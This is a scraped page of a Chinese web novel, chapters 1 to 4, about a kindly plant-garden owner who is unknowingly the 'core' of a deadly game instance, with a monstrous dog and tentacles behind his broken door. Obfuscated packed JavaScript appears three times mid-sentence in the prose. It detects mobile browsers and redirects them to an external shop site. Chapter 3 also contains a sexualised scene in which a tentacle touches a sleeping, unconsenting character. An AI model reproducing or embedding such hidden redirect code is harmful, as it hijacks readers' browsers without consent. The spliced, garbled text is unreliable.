《NPC在无限流世界养崽崽》 1. 第 1 章(小修) 【E级副本《植物园奇遇》已锁定定位。】 【模式:自由探索。】 【时间限制:七天。】 【目标危险性:0】 【叮咚。玩家正在传送中……】 …… “啧,每次的传送雨都这么恶心巴拉的——话说唯一一个E级副本不是一直是逃逸状态吗!现在怎么突然开放了?” “这副本根本没人进来过,我们选这个算是开荒了,真的不会有问题吗?” “没办法,别的低级副本都已经满员了。放心,危险性5%以下的副本很少死人,更何况是0——” “等等,系统提示为什么不是以前的【时间容量】,而是【时间限制】?这是第一次出现吧…….” “以前哪怕高级副本也是在【时间容量】里安全存活就算通关,不完成副本最终任务也没关系,现在这个【时间限制】又是什么意思?” AI空灵的声音此时再次响起:【温馨提示:未在限定时间内完成副本最终任务,所有玩家生命值将清零。】 一瞬漫长的沉默。 “艹了,真特么倒霉!” “都别特么抱怨了,我们只能硬着头皮干!我们之中大部分人只参加过一两次副本,而我参加过十次还活了下来!想活命你们必须听我指挥!” “好、好的陈哥!” “我同意。” “我也。” …… “.…..话说,你们真的不觉得这里很像现实世界吗?有没有觉得咱们被传送来的街口很像A市超级闻名的中心大道……陈哥,我记得你就是A市人吧,你快来看下!” …… A市。 昨夜刚下过一场大雨,第二天即使放晴了,城市里也到处弥漫着一股若有似无的腥味。 陶岫进了植物园的门后,随手打开了高功率空气净化器、自动缴费机、自动安检器。 接着,他如往常般走进办公室,吃完早餐后,先是将选购好的物资下单送往一家孤儿院,再在日历上确认下线上预约的团体参观日期。 最后,他换好黑色工装戴好橡胶手套,带着工具箱和记录平板走向植物区。 这座位于市中心的私人温室内依稀一片静好,外围培育苔藓植物的环状透明培育箱后,是一片片按照类别划分好的植物群,不同植物区间有整齐的小路联系贯通。 最中心的区域种着一小片娇美异常的白玫瑰花,在玻璃穹顶洒下的阳光里微微摇晃。 花丛里贴心地立着铭牌,“黑巴克玫瑰”几个字在叶丛里若隐若现。 各区的洒水器已经被打开,旋转喷发的水流在机器控制下根据不同植物需求精准洒下,在阳光里交织出一片片虹色。 陶岫已经来到中央区,在他单膝蹲下认真检查白玫瑰的状态长势时,大门处传来不间断的“滴滴”声响——安检器开始工作了,这表示已经有不少客人来了。 今天是周日,家长带着小朋友过来亲近自然消磨时光再正常不过,年轻人工作日被工作学业压着,假期在一片盎然绿意中放松身心也是很好的选择。 最近二楼新开发的草莓采摘区在社交平台上火了,吸引来很多新客人,已经有小学生拎着篮子蹦蹦跳跳往楼上走去。 过了一会儿,一个二十多岁的年轻人悄无声息地出现在陶岫身后,他西装革履,面相清秀,却唇色泛白起皮,瘦得皮包骨头,垂在身下血管凸起的手腕上戴着一只黑色的金属手环。 他喉头微不可查地动了动,声音也有点抖,像是鼓起巨大的勇气:“那、那个,我可以和你认识下吗?” 陶岫一怔,站起来转过身,那一瞬,年轻人下意识戒备地格起手臂后退几步,他满眼惊惧地盯着青年,额角甚至渗出冷汗。 陶岫:“.…..?”倒是第一次看到搭讪的人面对他是这种表情。 他有点尴尬地摸了下鼻尖,苍绿的眸子温和地弯起,声音温润动人:“抱歉,工作时间不方便哦。祝你在这里参观得开心。” 说罢便绕过对方,拿着提取好的土壤样本向办公室走去。 年轻人睁大眼睛,怔怔看着陶岫的背影:实在、太像人了…… 这真的不是一个长得好看的普通人吗…… 而且他偷偷用手环扫描过了,这个植物园,就真的是个普通植物园…… 他是这次团队里资历最浅的人,没有参加过任何一次副本,所以被当做探路石“炮灰”丢进这里获取情报,他本来以为自己真的会死。 毕竟,据说危险性5%以下的副本之所以存活率高是因为副本核心不具备主动攻击性,只要躲好度过【时间容量】就好,就算是在这种副本里,玩家直接面对副本核心也根本没有活命的机会。 可这个E级副本的核心、是怎么回事…… 他抬起手环,低声道:“陈哥,这里是3号。植物园内无异状。核心暂时没有表现出任何危险性……”最后,他补充道:“他很像人。” 那边很快传来回复:“知道了。继续在植物园待着,至少观察一天,尽量多收集信息。随时联系。” 3号玩家怯懦地咬了下干裂的下唇,轻声道了声:“好。” 正要再说什么,一瓶矿泉水已经递到了他的面前,他愣了下抬起头,便撞入一双绿宝石般剔透的眸子里。 黑发绿眸的青年刚从办公室回到这里,他耸了耸肩,温柔地笑了下:“看你嘴唇很干,这瓶水送你。” 3号玩家睁大了眼睛僵在那里,直到陶岫直接将水塞在他手中后转身离去,他才回过神来。 他握着瓶身的干枯手指颤了下:那个青年的皮肤温热得和人类别无二致…… …… 陶岫完全不知晓年轻人的震撼与挣扎。 送完水后,他先是去办公室套间内的实验室里观察土壤样本记录数据,之后便舒舒服服坐在他新买的人体工学椅上,打开电脑慢慢敲一份招聘启事,一边开心地思考今天中午吃什么。 间或和他那位医生好友发发消息,听对方吐槽下医院科室领导的狗血八卦。 他的日子一直这样安稳、普通而幸福,他爱这座城市,喜欢这份工作,他对一切都非常满意和知足。 如果可以,他希望不要发生任何意外来打断他幸福平凡的生活。 但生活向来逆反,越不想要什么,什么就越来得猝不及防。 下班后,陶岫很容易便发觉有人在跟踪自己。 夜间的A市市中心浸在霓虹灯的海洋里,高楼大厦此起彼伏,路上车水马龙,到处是往来的行人。 熙熙攘攘的人流里,陶岫一手插着风衣口袋,一手拎着装了晚饭的塑料袋,他散漫地走着路,边头疼地暗自叹了口气:今天要赶不上他在追的电视剧直播了。希望至少能赶上球赛直播。 走过一个路口时,他毫不犹豫地拐进一条小路。 小路越来越深、越来越黑,他的步子也越来越大,身后的脚步声也如影随形般越来越急!那充满恶意的视线越过人群、如有实质地钉在他的后颈,让人头发麻。 不知走了多久,最后,他终于停下步子,踩着垃圾箱利落爬上前面那面看起来再普通不过的墙壁,接着非常干脆地跳了进去。 动作时,不知怎地,他下意识将手护在了自己的腹部。 脚步声似乎犹豫了下,还是跟着爬墙跳了进去。 刚进去就见那个青年随手在墙后的院子里拽住一个人、躲在对方身后睁大眼睛指向他:“警察同志我要报案,就是他在跟踪我!我怀疑他要对我实行抢劫!” 那声音简直清澈坚定得像个大学生! 负责路上跟踪副本核心收集信息的玩家1号一时之间懵得厉害,他不可置信地道:“你、你竟然报警??” 开什么玩笑他还以为这个核心要展开副本,抱着必死的决心进来收集信息的! 结果他竟然报警?! 陶岫一脸莫名其妙地反问:“那不然呢?”怕这个跟踪狂看到派出所跑掉,他还专门选了跳墙进派出所! 玩家1号被传送过来后第一次感觉眼前一黑想晕厥,他瞪大眼睛指着陶岫,“你、你、你”了半天,警察同志一脸鄙夷地看过来:“你什么你啊,跟我走一趟吧。全胳膊全腿的一小伙儿,怎么尽干这丢脸的事啊?” 接着他看向陶岫:“放心,你已经安全了。跳墙的事算你形势所迫,之后做个笔录我们了解下情况,就能走了。” 陶岫十二分真诚地点头微笑道谢。 …… 做好笔录从派出所出来已经快九点,陶岫舒展了下身体走向地铁站,接着乘坐三号线回到了金色传说小区。 陶岫住的小区地段很一般,从小区硬件设施看也普通至极,但这里是A市都市传说般的网红景点,甚至连电视台都专门来做过节目。现在已经这么晚了,还有外地游客在小区门口打卡拍照甚至搞直播。 “家人们激动吗!我已经来到了那个传说中的神秘小区门口!这里的奇迹到底是真实发生还是虚假炒作,让我们先来采访下小区居民!” “大爷,听说这里十年前是个开发商卷钱跑路的烂尾楼小区,结果一夜之间装修完成不说连水电燃气都自动通了,请问这是真的吗?” 遛完一只金毛回家时被拦住的大爷对着镜头整理了下头发,自豪地道:“我们小区可有灵性咧!” 主播连忙追问。 大爷侃大山的瘾上来了,牵着狗绳背着手故作高深道:“嘿这说来话就长了,且听我慢慢道来......” 陶岫经过时笑了下,悄咪咪挥手和那只拽着绳子朝他摇尾巴的狗子打了个招呼,才往小区里走去。 很快走到他住的6号楼,电梯下来,门打开,便碰到了3楼独居的老奶奶拎着保温饭盒要去22号楼给外孙女送便当:“我们囡囡上高三,我就想着给小孩儿做点吃的让她明天带,乌鸡汤,有营养!” 陶岫弯了眼眸扶了老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然他根本不明白自己为什么拥有那些力量,也不明白为什么自己和大家不一样,但没关系,那些差异也可以带来幸福感——不管是为自己、还是为他人,这样他就没必要排斥。 陶岫一边在心里碎碎念着,一边加快了回家的步伐。 …… 与此同时,6号楼1201室内,吊灯大开,电视机里,球赛直播已经进入广告倒计时。 4号玩家悄无声息地现身在这方空间,就像凭空出现一般。他的手中拎着一把寒光凛凛的砍刀。 他曾经是个杀过人的赌鬼,靠赌博走到现在,通过3号和1号反馈的消息,他大胆判断,这次副本的核心极大可能是个普通人。 虽然不明白系统为什么会认为一个普通人是核心,但只要干掉他,就有大量诱人的收益,他就赌赢了。 更何况他还为自己留了砝码——他和那些小白玩家同伴不一样,他来之前已经达成条件获得了系统的【赐福】,他有瞬移的力量。 虽然等级只有level 1,但是足够他在这种E级副本里保命。 这样想着,他警惕地环顾这栋空无一人的房子,寻找着核心的踪迹。 最后,他将目光锁定在卫生间两侧紧紧关闭的两个房间里:他判断其中一间是核心的卧室,对方大概率就在里面。 几秒后,他选择了左面的门,握上门把手时他兴奋地想,这次如果赌赢了他就有筹码去闯等级更高的副本,说不定有一天能去赌赌最终极的深空之渊,那收益可真是不敢想—— 叮铃咣当,门突然像要崩溃一般晃得摇摇欲坠,锁芯传来“咔嚓”一声响,门最终还是被磕磕绊绊打开。 门里是一片安静无限的漆黑,深不见底,静到极致,就仿佛那里根本不存在空间。 男人只是看了那黑暗一眼,便仿佛失了魂般立在那里一动不动,他还未来得及惊恐,身体便已经承受不住自动碎成了一滩模糊的血肉。 一秒后,三只长满倒刺的血红舌头争先恐后地从那扇门里挤了出来扑向血肉里的黑色手环,手环“咔”地一声裂开仿佛发出了某种可怖的哀嚎,很快就被三只舌头吞噬。 接着,舌头们又将那血肉、气味连同砍刀一起舔舐得干干净净,地板霎时间变得比洒过84消毒液还干净。 “砰”地一声,所有舌头收回,门风吹得被合上,就仿佛什么都未发生。 几乎就是下一瞬,大门从外面打开,陶岫拎着啤酒回到家,刚好赶上球赛开始。 他喝了半罐啤酒、吃了一些零食,开心地享受了整场比赛,简直不能更满足。 看完后他又洗漱一遍,才进入右面的门舒舒服服上床睡觉。 第二天八点二十分,他照常醒来,三十分钟冲个澡并换好正装,接着精神饱满地站在了杂物间门前,心中默念着地址,面带微笑推开了门——他新的美好又平凡的一天又要开始了! 下一秒,他的笑容彻底僵住了。 2. 第 2 章(小修) 陶岫觉得天都塌了。临上班前,他的门坏了。 他连续三次打开门,门那边都是同一间陌生房间。 黑漆漆静悄悄的,似乎拉了窗帘没开灯,屋子的主人不是还在睡就是已经去上班了。陶岫只能看清脚下那一小片靛蓝的华贵地毯。馥郁奇异的冷香迎面扑来,让人有些晕眩。 但这不重要,重要的是,他要迟到了! 自从上班以来,他第一次迟到啊! 现在也顾不上检修这扇门,陶岫抽抽嘴角“啪”地一声合上它,火急火燎地冲出了家,接着体验了一次比晚高峰还要可怕的早高峰。 来到植物园后,果然已经有一批客人等在那里,陶岫忙打开植物园的门,接着启动各种机器。 一切完成后,他将自动门票机里的门票5元金额设定成半价2.5元,算是今天开业迟到对客人的赔偿。 等到客人终于开始入园后,陶岫正要松口气,手机却嗡地一声响了起来。 来自霞光路派出所。 很快接起后,那边响起了昨天为他做笔录的警察声音,他的口吻不知怎地有些凝重:“陶先生,是这样,昨天跟踪你的人,你还知道更多信息吗?” 陶岫一怔,照实答道:“不知道。我根本不认识他。” 警察接着道:“那人我们查了下,那家伙身上有案底,他几年前因为入室行窃被记录在案,后来直接人间蒸发。” “不知为什么,他现在说话疯疯癫癫的,但是,从他的口供来看,他极大可能还有同伙,陶先生,我们会继续查下去,你最近也要注意安全,有什么问题随时联系我们。” 陶岫一怔,秀气的眉头微微蹙起来,认认真真道:“多谢,我知道了。” 挂断电话后,陶岫单手托腮对着电脑发呆,他真的百思不得其解,遇到一个跟踪狂正常,但是,他不懂他一个普普通通遵纪守法的市民怎么会招惹一个团伙。 看来雇植物保育员的同时还得暂时雇个保安,这件事影响到客人就不好了。 于是,陶岫在电脑上敲出第二份招聘启事,又在招聘平台点击发布,随即换好工装戴好橡胶手套,带着工具箱走向植物区。 今天植物园的情况依旧一切正常,中央区的白色玫瑰花依旧异常妖艳地在阳光下摇晃。 要说有点违和的地方,是他又见到了昨天的年轻人,只不过他今天并未上前搭讪,也并未参观,只是抱膝缩在一个角落里,时不时朝他看过来。 虽然有刚刚警察的提醒,但陶岫倒是没有感受到什么恶意,便也并未胡乱猜测自己的客人——毕竟,他的植物园回头客并不少,每个人放松休息的方式也各不相同。 很快到了下班时间,陶岫因为惦记着门的事情,破天荒打车回到了家。 进了家门换掉鞋脱掉外套,他就直接拎着工具箱站在了杂物间门前。 叮当晃啷修了一阵,他心里试着默念一家花店的名字,接着利落地推开了门。 陶岫:“。”还是那个陌生漆黑的房间,被这边灯光照亮的地方,依旧是一小片靛蓝的地毯。 啊,这门果然坏得彻底暂时修不了了。 突然,自浓重的黑暗里传来一阵欢快急促的踢踏声,那踢踏声很快越来越近,仿佛有什么向他跑来。 陶岫连忙砰地一声合上了门。 虽然这门是单程的,但门那边如果有人,那么对方的视角就是:一扇门凭空显现出来,门里的人出来后,门又会凭空消失。 为了怕被看到引起骚动,他每次都会很小心地选择门那边的地址。 只希望门那边的人刚刚没看到他。 陶岫轻叹了一口气,决定先去吃晚饭。 刚刚转身,他便不由得停住步子,睁大了眼睛。 “砰——砰、砰” 有人在门的对面敲这扇门! 陶岫怔怔地眨了下眼:因为坏了所以单程门反而变成了双程的? 那边的人能看到…… 他只觉得太阳穴隐隐作痛:房间里莫名其妙出现一扇门,门那边的人一定吓坏了吧? 他暂时没办法修好这扇门,交涉起来门那边的人提任何赔偿要求都不为过。 半晌,陶岫捏了下眉心,开始在心里想一个合适的说辞。 他深吸一口气重新打开了那扇门:“那个,抱歉,我也不知道这门是怎么了一打开就到了你家看在我也损失了一间杂物间的份上咱们能不能先别报警坐下来聊聊啊你要什么补偿我都尽力做到——” “啊!” “砰”地一声,一只一人大的雪白绒毛的巨大红眼萨摩耶从门里冲了出来,热情地扑倒了他。 陶岫仰面摔在地上摔得眼冒金星,回过神来,便发现一只巨大的白色狗头热烘烘地拱在他颈侧、喉咙里发出呼噜呼噜的声响,毫不见外地撒着娇。 它似乎很介意青年看到它的牙齿和舌头,因此长长的嘴巴紧紧闭着,只是用冒出热气的鼻尖轻轻蹭着青年的脸颊。 陶岫:“???” 他也知道自己异常讨小动物的喜欢,但随便一只狗就这么喜欢他也太夸张了吧! 陶岫吃力地推开大狗,捂着后脑勺盘腿坐起来,抽了抽嘴角看向那只大狗:“所以刚刚敲门的是你?你的主人呢?”他总不能和狗狗交涉赔偿事项吧。 大狗坐在地上歪了歪头,特别的红眼珠亮晶晶的,巨大的白毛尾巴乖巧又急速地贴着地面摇晃着——那样子,就像在讨要食物。 陶岫绕过它看向那个房间:依旧黑漆漆一片,静谧得诡异,估计主人还没下班回来,狗狗有些饿了。 陶岫无奈地看向那只狗:“虽然我家没有狗粮,但还是有你可以吃的东西。你等下,我去处理一下。” 他家里还有些牛肉和西蓝花,生肉里一般都有寄生虫,给宠物吃的话还是蒸一下比较好。 狗狗的红眼睛一瞬间亮起来,开心得在地上打了个滚又乖乖蹲好。 陶岫没忍住笑了下,起身随手关上门,向厨房走去。 半个小时后,他端着一只十寸的盘子走出厨房,盘子里装满了蒸好后又冷却的牛肉西蓝花,他来到杂物间前,重新打开了门,将盘子小心地放在门的另一边,为了怕狗狗吃饭过程中弄脏地毯,他还把他家的桌布垫在上面。 不知怎地,将手臂伸进去时,他总感觉那个房间里的温度比他家低很多。 狗狗蹲在原地,歪着头好奇地看着陶岫的动作。 操作好后,陶岫弯了眼眸,揉了把狗头:“乖,去吃吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022780|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>狗狗这才如抛物线一般开心地跳进房间,陶岫便关上了门。 这么晚还没回家,那个房间的主人大概率是个需要加班的社畜。这么忙还把这么大狗狗照顾得油光水滑的,那一定是个非常善良的人。 交涉的时候无论对方提出什么赔偿条件,他都会尽量满足的。 这样决定好后,陶岫再次转身向厨房走去——除了给狗狗的那些,他家里还剩下块牛排,他可以煎一下当晚餐。 …… 此时,杂物间的门后。 一片深不见底的黑暗里,只有一双猩红的狗眼睛。 看到青年已经关上了门,它终于张开一口狰狞至极的恐怖尖牙,冲着里面“嗷呜”叫了一声。 不一会儿,两双同样猩红的眼睛从黑暗里“嗖”地一下蹿了过来,蹲在盘子前,它们却和那只萨摩耶一起愣住了: 这食物是不是不太对?和昨天的不一样啊! 它们同时看向萨摩耶。 萨摩耶:“嗷呜~”它也不知道啊!难道好吃的食物需要用什么交换吗?它们昨天确实帮忙打扫了卫生来着…… 可是那间屋子现在很干净唉,该用什么交换呢? 萨摩耶:“嗷呜~”等等,刚刚那个好看又善良的年轻人是不是说了想见它们的“主人”? 三双猩红的眼睛同时向黑暗中一个方向看去。 …… 吃完晚饭后,陶岫如往常一样看完自己追的电视剧,洗漱好上了床。 他的卧室布置得很舒服,朝南有个小阳台,阳台上布置着沙发和小茶桌,养了各种可爱的多肉植物,房间内部地板上全部铺了柔软的地毯,家具也都是他精心挑选过的,每一个都挺贵,也都无比舒适。 睡前,陶岫靠在床上的抱枕上刷一会儿手机,和好友聊天的间隙,他抱着破罐子破摔的想法搜了修门的关键词,有效信息没出来多少,倒是看到有博主分享家里的家具坏了之后放着,结果一段时间后又突然能用了。 陶岫心说他的门也能这样就好了。 刷着刷着他便有些困——最近他似乎总是容易困。 好友的消息这时又发了过来,他们约好这周要去小酒馆聚聚,对方问他这周六怎么样。 陶岫打了个哈欠,回了个“好。” 接着,好友不知第几次向他推销自己的师弟师妹们:“陶啊你不知道,自从你来医院找过我一次,我们科室里的科室外的一堆男男女女找我打听你。当然我知道你一个都不喜欢,但真的不考虑找个不排斥的人谈个恋爱吗?” “总一个人漂着多孤独啊。” 陶岫笑了下,利落地敲字:“不了。还行。晚安。” 是真的还行。已经和这个世界产生了千丝万缕的联系,他已经很满足了。 至于谈恋爱,像他这样平凡又普通的人,还是得先踏踏实实努力拼搏事业才有资格恋爱并且给另一半更好的生活啊! 所以明天绝对不能再迟到! 想到这,陶岫利落地把手机放回床头,关掉灯闭上了眼睛。 …… 静谧的深夜。 杂物间的门悄然从内部打开,一只萨摩耶张着可怖的血盆大口,叼着一条粗|壮的深蓝触手开开心心出了门…… 3. 第 3 章(小修) 白色的大狗环顾四周,诡异的猩红眼睛在黑漆漆的客厅里闪烁。 随即,它动动鼻尖嗅了嗅,终于将目光锁定在敞着一条门缝的卧室。 于是它便吃力地衔着那条触手向门缝走去。 门里的黑暗比门外的黑暗更加浓重,更加馥郁惑人的冷香随着那条触手自门里向门外蔓延。 卧室的门被很轻易推开,发出一声微不可闻的轻响。 进入房间后,狗狗看着床的方向歪了下脑袋: 床上穿着睡衣的青年已经睡熟了,几缕皎洁的月光自窗帘缝隙泄入、毫不吝啬地映照在青年颀长美丽的身体上。 他侧躺着,半张脸颊陷在柔软的枕头里,清爽的黑发散在枕上,半张脸睡脸美丽温柔又动人,眼睫很长、唇看起来红而柔软,纤细的脖颈下,精致的锁骨盈满了月光。 他的怀里抱着半张毯子,另外半张搭在他的身上。 狗狗很喜欢这个美丽的人,很期待它把青年想要的东西带给他后能够获得的奖励,它衔着触手兴奋地转了个圈,才撒着欢上前,将那条没有意识的冰冷触手轻轻放在青年纤细的脚踝上…… 触碰到青年皮肤的一瞬间,那条冰冷的触手像自冬季里结束冬眠的蛇,缓缓动|了|起来、缠住了青年白皙的脚踝…… 沉睡的青年秀气的眉角蹙起,轻轻“唔”了声,脚趾动了下,下意识将脚缩进毯子里,那条触手却不依不饶地蜿蜒而上,自睡裤缝隙中钻了进去,缠上青年白皙的小腿,接着继续向上…… 青年眉角蹙得更紧,白净的额角沁出一层薄薄的汗,他微微弓起了身子,修长白皙的指下意识抓紧了怀里的毯子一角,指节泛着淡淡的浅红。 馥郁的冷香一瞬间充盈满了整间房间。 似乎有什么在青年单薄的睡衣里诡异的涌动,扣子绷掉一颗、静静掉在床上。 深蓝的触手现在似乎不具备理智,仅靠本能行动,它杂乱无章地缠绕着青年柔软的腰肢,又笨拙地自青年身后绕过去,继续向上缠上了对方纤细易折的脖颈,接着探入青年微张的口中…… “唔!” 陶岫红透的脸颊上像一颗苹果,神情难受又舒服,他下意识轻轻挣扎着,浑身却软得不行,使不出什么力气。冷香仿佛要将他的身体渗透。 冰凉的触手触碰了青年的舌尖,正要贪婪地继续向下,它在进食,它的本能想要更多…… 这时,屋外另一个空间中的黑暗猛地凝滞了一瞬,触手动作一顿,突然僵在那里。 它像是突然苏醒了意识,开始缓缓地自青年身上游移着撤退,似乎在被什么无声地召唤。恋恋不舍地离开前,它重新为青年盖上毯子,并偷走了青年散落在床上的衣扣。 萨摩耶猛地向屋外对面那扇门内看去——遭了,主人好像有要苏醒的迹象! 嗷呜,只好以后有机会再讨要报酬了QAQ 它飞快地跟上了那条撤退的触手,跳进了那扇门里,随即它跳了起来,聪明又笨拙地用前爪搭上了门把手,合上了门。 …… 第二天早晨明媚的阳光里,闹钟叮铃铃按时响起。 陶岫猛地睁开眼睛,头发散乱地半坐了起来。 半晌,他满脸通红地掀开毯子看了下,接着抽抽嘴角捂住了脸:昨晚他好像做了一个很诡异旖旎的春|梦。 他下了床,边往浴室走去边想:都是他朋友在他睡前和他聊什么男女朋友话题的错! 水声很快哗啦啦响起来,二十分钟后,陶岫冲完澡吹干头发,从浴室出来,利落地换好了正装。 今天他闹钟定得很早,所以上班时间非常充分。 于是他便重新站在了杂物间那扇门前,心里默念着上班的地址推开,不出意外,还是那间房间。 果然他就不该期待那种家具自动变好的奇迹发生在他身上。 陶岫叹了口气,看向屋子里,他依旧只能看到自己脚下那一小片靛蓝地毯。 黑暗的屋子里静悄悄的,似乎没什么人,昨天的狗子也不见了,估计去了家里别的地方玩耍。 倒是那一小片靛蓝里,放着一只干干净净的盘子。 陶岫弯腰捡了起来,笑了下:是狗主人洗好的么? 看来对方已经发现这扇门了,他并未打开这扇门,也没留什么纸条,却洗净了盘子放在这里表达善意,可能正在慎重地观望? 看来狗主人是个善良又温和慎重的人。 陶岫想了下,收好盘子转身走向置物架,拿起笔和便签利落地写了自己的联系方式,并表示可以随时联系自己交涉赔偿。他又拿起一颗苹果,走向门边。 他将纸条放在那一小片没有被黑暗吞没的靛蓝地毯上,并压上了那颗鲜红馨香的苹果。 “砰”地一声,他轻轻合上了门,转身离开去赶早高峰。 …… 今天的工作一如既往顺利。那丛白色玫瑰依旧盛放得很美丽,没有任何凋零的迹象。 “黑巴克玫瑰”的铭牌掩映在叶丛里,熠熠生辉。 工作日虽然没多少年轻人来,但这个时间段老人们很喜欢过来这里,安安静静地看看花木感受下自然,陶岫的植物园人流量也不小。 再加上,他发布的招聘信息发挥了作用,今天有人陆陆续续来面试。 可惜的是没找到合适的员工。 陶岫也并未着急,只是更加认真地筛选简历。 很快一天又这样顺利度过,闭园前的检查时间里,陶岫讶然地发现,原来那个戴着黑色手环的年轻人今天又来植物园了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022781|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天他似乎依旧躲在那个角落,不参观也不和人交流。 连续两天工作日来植物园消磨时间,那个年轻人又那样瘦,是遇到什么困难了么? 陶岫走上前,正要问一下,那个年轻人却像被吓到一般抬起一张惊恐的脸,他的黑眼圈浓重,比陶岫第一次遇到他还要憔悴。 陶岫放轻声音道:“你好,你需要什么帮助么?” 年轻人瞳孔一缩,张了张干裂的唇却没有说话,他神情复杂地看着陶岫半晌,接着猛地站了起来,低着头和陶岫错身而过,匆匆离去。 陶岫看着对方的背影,疑惑地眨了眨眼。 …… 回家路上,陶岫去喜欢的汉堡肉便当店里买了晚餐,接着去乘坐地铁,下了地铁正要直接回家,却不知突然想起什么,往一家大型超市走去。 很快从超市出来,陶岫手里多了一袋进口狗粮和一些狗狗零食。 步行回到小区后,陶岫再次遇到了经常去公园遛狗的大爷和他的金毛。 大爷看到他手中的狗粮,问道:“小陶你也要养狗了?” 陶岫笑道:“不是。是给别人的狗狗。” 大爷哎了声,便让出身后的小金毛给陶岫撸。 那只金毛以往很喜欢陶岫,平时碰到他总要上前摇着尾巴蹭腿撒欢,陶岫拿出一袋狗狗零食,正要喂给它,却发现那只平时活泼亲人的金毛这次却害怕地跟着大爷跑,躲在大爷身后,夹着尾巴看都不敢看陶岫。 陶岫有点哭笑不得:“?” 大爷很是豪爽地撸了把狗头,笑道:“地瓜你这崽子不是最喜欢小陶了吗?平时人家在三里地外你都恨不得去扑人家,今天是怎么了?” 陶岫想到什么一笑:“没关系,可能因为我昨天摸过别的狗,它不喜欢吧。”说罢他大方地将手里的零食送给大爷:“您喂它就好。” 大爷接过来“哎”了声,陶岫便和他告别离去。 只听大爷在身后自顾自纳闷:真是奇了怪了,这傻狗以前也不排斥别的狗味啊。 金毛躲在大爷身后,眷恋又小心翼翼地看着青年的背影:嘤,那个味道好可怕QAQ …… 回到家后,陶岫进了门,一打开灯就愣住了。 杂物间的门大开着,里面依旧是浓重而深不见底的静谧黑暗。 那只一人高的白色大狗乖巧地蹲在门边,它依旧紧紧闭着嘴巴,猩红的眼睛兴奋地看向他,那只蓬松的白毛尾巴平贴着地面扫来扫去。 “呼噜噜” 它的喉咙里发出开心的吼叫:它昨天已经把主人送给这个漂亮的人一个晚上了!还帮忙清洁干净食器!可以得到奖励食物了吗? 陶岫不可置信地眨了眨眼:“?”这狗子是不是有点太自来熟了? 4. 第 4 章(小修) 即使觉得这只大狗过于自来熟,陶岫还是先贴心地为它准备了晚餐。 他将新买的狗粮拆开,倒入昨天的盘子,接着打开杂货间的门,将狗粮往黑暗深处放了放。 令他惊讶的是,门口那一小片靛蓝地毯上,依旧放着他早上放上去的桌布,只不过,上头的纸条和苹果都不见了。 陶岫讶然地眨了下眼:苹果被房间主人吃了? 那么,对方现在会在房间里吗? 陶岫试着冲那深不见底的黑暗道:“打扰了,请问有人在吗?” “你别怕,我真的没什么恶意,我们可以坐下来好好聊聊。或者也欢迎你随时按照纸条上的联系方式联系我。” 浓稠的暗色似乎凝滞了一瞬,变得更加幽深,却依旧没什么人从里头走出来,黑暗中依旧静得诡异,连呼吸声都没有。 陶岫只当房间里没什么人,和狗狗道过晚安后,将它送进去,随即关上了门,转身向厨房走去。 …… 门后,三颗猩红的眼睛好奇地盯着盘子里的颗粒:咦,这是什么? 而且,怎么还是没有好吃的QAQ 突然,它们不知感知到什么,同时“嗷呜”一声四散飞快逃散开,一条深蓝的粗壮触手不知什么时候已经出现在这里,它霸道地卷起盘中的所有狗粮,很快就粗暴地吞噬干净。 随即它轻而易举卷起那只跑得最慢的笨重萨摩耶,将它毫不留情地丢到盘子面前。 萨摩耶委屈地“嗷呜”一声,认命地将主人用过的盘子舔(清)舐(洗)干净。 …… 门外的陶岫对一切都毫无所觉。 他正在吃自己的晚餐,边追他喜欢的电视剧,边想着等下要做点小朋友们喜欢的手工植物标本。 他一直在资助的那家孤儿院的小朋友们明天预约参观,他想给小朋友们最好的参观体验。 晚上的标本做得很顺利,他的睡眠质量也很好,没有再做那种羞耻的春|梦。 第二天的参观接待也异常顺利。 只是带孩子们过来的阿姨在休息时间总有些愁眉不展。 陶岫问原因,阿姨忙笑笑说没事,陶岫还是从一个小朋友那里问到,最近院里新来了几个孩子,本来就紧张的经费变得更加紧张,阿姨们这些天一直在想办法。 可爱的小女孩儿才到换牙的年纪,她朝陶岫用力比划着:“大哥哥我喜欢学习以后我一定会考上大学的,到时候我可以学那种把石头变成金子的专业!然后把金子全都送给弟弟妹妹们和阿姨!” 陶岫怔了下,随即弯了眼眸,他并未否认她的想法有多么不切实际,他只是轻轻揉了揉小女孩儿的小脑袋,声音温柔得不可思议:“你的想法非常了不起。祝你能在喜欢的学习道路上有所坚持有所成就,总有一天,你会得到真正的‘金子’。” 顿了下,他并未去不远处宽慰阿姨,只是若有所思看向之前有人看中提出承包的二楼草莓采摘区,对小姑娘道:“至于阿姨的烦恼,那是大人们要解决的问题。” 小女孩儿听不懂陶岫在说什么,只是和别的小朋友一样,很喜欢这个漂亮又温柔的大哥哥,于是她轻轻抱了下青年,甜甜道了声:“大哥哥最厉害啦~” 